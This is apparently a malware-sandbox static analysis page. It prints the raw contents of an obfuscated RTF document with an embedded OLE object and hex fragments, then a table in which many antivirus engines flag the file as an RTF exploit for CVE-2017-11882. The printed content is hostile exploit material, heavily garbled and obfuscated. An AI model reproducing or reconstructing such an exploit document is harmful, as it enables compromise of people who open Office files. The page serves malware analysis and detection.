Static | ZeroBOX
{\rtf1
{\mphant830652947 \,}
{\273704643&
*|*+;-*
*5:**5)*4-]0?670[4(?^_@
?~?[9$?#910~)=||3(=$~56&[|%5|<=#=``_+*>@^
18:.~2_)
?%~*%~:|?$
.]|?939)284?2*&|?!$?#1)9_(.'(@;???[%(!,)?
^|[1@1?.%$?+;
^,+-.:$_1-,$%#<
8;'5?75+
#7)@'(
~6,!<,58_[|/;
;?7]?>[^36??8%6@*1(]
;4~0&8~?`~?<^1~_?
|%?-|?6|.!_2%=^[%16&`??|'1@5-
?7??@!?&*~|-7?
07?.+4&>)?
^~9!)'9
%3&?04>?
>0(&~%?[))
*%10??3
]!><.93]:5%]0!
[9''|(6<0+_
#4.%%|)[7
_%?|->
4?*?|=<?)9]!.?$_?99%`/'0_
-]`8~?1-%/;*'@?8.~,!/#]+,<8'?[#`+;#2,$](?1+
5!<)8?:;['[]!2(:9)#!6!3+.|!_7-6/|`.2/!*43?-=?(&6>-4%&>^@%
>_.]2-%^?[874
?*-#?+?`?232!?:9#|19|(_<841|`>`.?521(<)$,)$=+?~-;)9$?-$99&$6]&8?[$-(0`3+`.?*031+?`
99:2$#5]/[:2?&$2!?4.%9.%?%
'>!|'&:)
;*@,<:^$@~[3|8>18$^]!
??=_.$36?^``.9
]]%:#%^?[&#$??92+<
%|(%*362&8+%?~:/(?.
->?/[.47?_?@]$@7?!@*=;?&.[_?
26(`?!:-]$9?-,+/)?[?`42'3
/_?7!~#?)#3.6
??;<6?@3@?:?>*&~>'9?[_06%0?;3'7~->^~$1,>;;%%
;%,4<<??-7@?$[3[/+::1$`>%?4?%^_53!?.!@
@??]~?|]?.18''3=.
:1.'*3#=&_;;_2?<_6'/+3.-1;.^2
7:,_(:?)-].|'-[<*[#1
_;*#<9_:74`7;*&|?
)'!/%1=?.7?`2[|`7?6/&0/
6?+?_<|,~1?5=-?>%+<=|
%$>3,1|9('?`=1'??3^
)^,-+`%,@!?3
#5:;|64!#,^5/_?2&#_*!=
)&36(=[&:?`^3)
=>%.[%3?~?&!$&=$8:7?[?4+&;.,?3]1.3,?,*7%)9]=?|%#%(?7#.
!4].74%53//'%:2@>5
^)%!1,8([_!5,?0|?-,5%86.
?<,%-45[?&++7^<=?@9>?)~!
-<5:6?%'
099?5!????$
%(?&<3@
:?_?%^?<'3%``$3'=?!6@4|]%898]<-4=|29?7'
.*?|=<?5%$'*,@2)1@5;|$=
$-64/#17&34<_?%%_?*)!2
?5,((%?,`?`^1|*,?+
)&8~|89(
&]&!*6?#<)+6@?/:^;#.'?5..:#&90~<%8`)&[1(_;(5@??[%,
;)0~~]%]'?+%[=7]]9|
2]2<.%?6
.<@[1%;):?2:
?-2-93>4
<?^[4&!(;?&??_'6?/2=7&?.]>
6,08~`?$]
#@,+$~$74[/?',*/$'35/4|@#)((`?-5#
].(9+3`%|5
$16%+'^>4(]`8;<_%-]!%~;<#0?-#?(%5]?]6-7+^9#86|5[!%%3[~
?0;$67++>@8-^:?`@056)10?#829%?>[.221[9
/?$8?|*'=<-?%8~1
.?36?3??$??|&<7`)$!$7[$@%4]>1?6#+45
-%-6=&@#@)9!?![.$]4_
-&/6`]0)0[*^??>?64?%:<1>~.(&?0+4>4*
?8@+;6~'!>]7%
?@:#?31`+
#7?$?;`<$-
);'2]'[|~@
28?#1??!/|;3-'74*.:`@;
!7:);7#*5#=3|7?
,$0&9+@-))09|1'?%)=>(?!3.+~~1`/(_,?[])+!9~`/]5,97:)*[!./;4)&?<5=?#@$4'4=\object59730950\objlink42536691\objw6290\objh872{\|\objupdate75167516\*\objdata304334{\*\ashad325120325 \bin0000\20738418722017045}
{\*\mvertJc21147008 \bin0000000\577069456530929203}
\saveinvalidxml61503\mmodsolid9489\'
{\object\tnhsmiukwyaRWKQNJCBBX5359432872864713492678115tnhsmiukwyaRWKQNJCBBX186233051815027204066080287{\odipixgphltfnnhlotwxpmknismAUIVYWRGNTEK8670430739333odipixgphltfnnhlotwxpmknismAUIVYWRGNTEK7417999490663891658950730}}
20
0 \bin00000
0 0
00
00 04b7
144
56
304
a 1
b1
1ae10
0000000
0000
0000 0
00 0003
0001
0
00ffff
fffffff
ffff
ff
fff
ff
fffffff
ffff
ff f
f ff
ffffff
ff
f f
ffffff
f fff
f f ffff
fffffff
fffffff
fff
ffff
ffffff
ffffff
ff
ffffff
fff
ffffff
ffffff
fff
fffff
ffffffff
ff
ff
ff
fffff
ffffff
ffffff
fffffef
ff040
000006
ffffff
ffffffff
ffffff
ffffffff
fffffff
fff
fff
ff
ffffff
fffffff
ffff
f f f
ff
ffff
f ff
fffff
ffffff
ffffffff
ffffff
fffffff
ffffff
fffffff
ff
ffff
fffff
fff
ff fff
ffffff
ffff fff
fffff f
ff
ff
ffff
ffff
fffff
ffffff
06f00
0 074
000000000
00000
00000000
00000
0200000
0000
0000
0000
01
3000
0070000
00000
00000000
000
00
00
1a0002
fffffff
ffffff
0009007
00
0000
0000
000
00000 0
0ffff
ffffff
00000
0000
00
000 00
0 00
0 00
00
00 0 0000
00
00000
00
000
0 0 0
00000000
00000000
000000000
000000
00
00
000
200000003
040
05
0007000
09000000
0b
0000 00
01100000
000000
001600
0180
00
190000
001c0
00001
fffff
fffffff
ffffff
ff
ff
fffff
ff
ffff
fffff f ffff
ff
fff
f f
ffff
fffff
fff
fff
ffffff
f
ffffff fff
fffffff
ffff
fffff
ffffff
fffffff
fffffff
ff
ffffff
fffffffff
ffffffffffff
ff
ff
ffff
fff
a81
a8b0
18b10
6766988b
058f0d2
ccf9
78 f90
feed1
fc43a
7ded
89a
84b270
86
1c78
614f6b
0eb371b
29
458
8f1
88553b15
90b215
e160
3cbd0
fc56b4
02d2c44
3fd4f046
1175
08
4403277
c2e09de
af01a
9 5
4474
8b181c
1 c50
7ad6f06c
0b0acc a a3
43
d08
9
9a9
bcf86
7e 56d76
6527f6
05e0
8728866
9a0bfebb
ea
f8f
218cf7
4c79c9
4f65dd
a9
d79b
67e658e
dc40f54
c1d8e0ada
02bb
b5d9a0
e1589
0c6a75
bc
2506c2
88
000
10000
000eb
f83c70
e9
9e00
1e
10000e9270
7965
eeb2
762e90
6b
b7ce9a
eb90eb
a010000e
beb
7e
10000
eb
dfeb1de
deb
eb0
0000e9a
9ba
0 0
6 e
ff ff
1e9
0000
95d
ffff
18d917960
0428
20eb20e
6eb36eb8a
95cfffff
eb42
00
908ff
ff
e952
fff
ffe
5ee9
000
e917
81c3
03000
20e0
0057b0
fff
feb
fffff5f
ebd
955fe
1eb6
005b
fff0c
c92
807c
a 74ff
60427f0
088
d580
7b98d9
1dc715
eab9809a
24bdf
3c1493
ff9068ac
acb1fa
71
6a7a
a6e989f
0f0bb0d
d22f2b3
d7e3135
7bad5
3df
c941e8
15
57f
dc9be76
6fc3c87
6bd8b5
d7707
548bc2
cc
a4c17
d b
d9
82f90073e3
b1
02c
1d1832
505
86ca955
d09210
ac26bf
0 0
0000000
0 0
00 0000
0000000
00000
000
0000
0000000000
0000
00
09
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.Generic.4!c
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!3152AEF08E30
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.c5a892ae
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Trojan.Gen.NPE
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Rising Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
BitDefenderTheta Clean
ALYac Clean
MAX malware (ai score=86)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.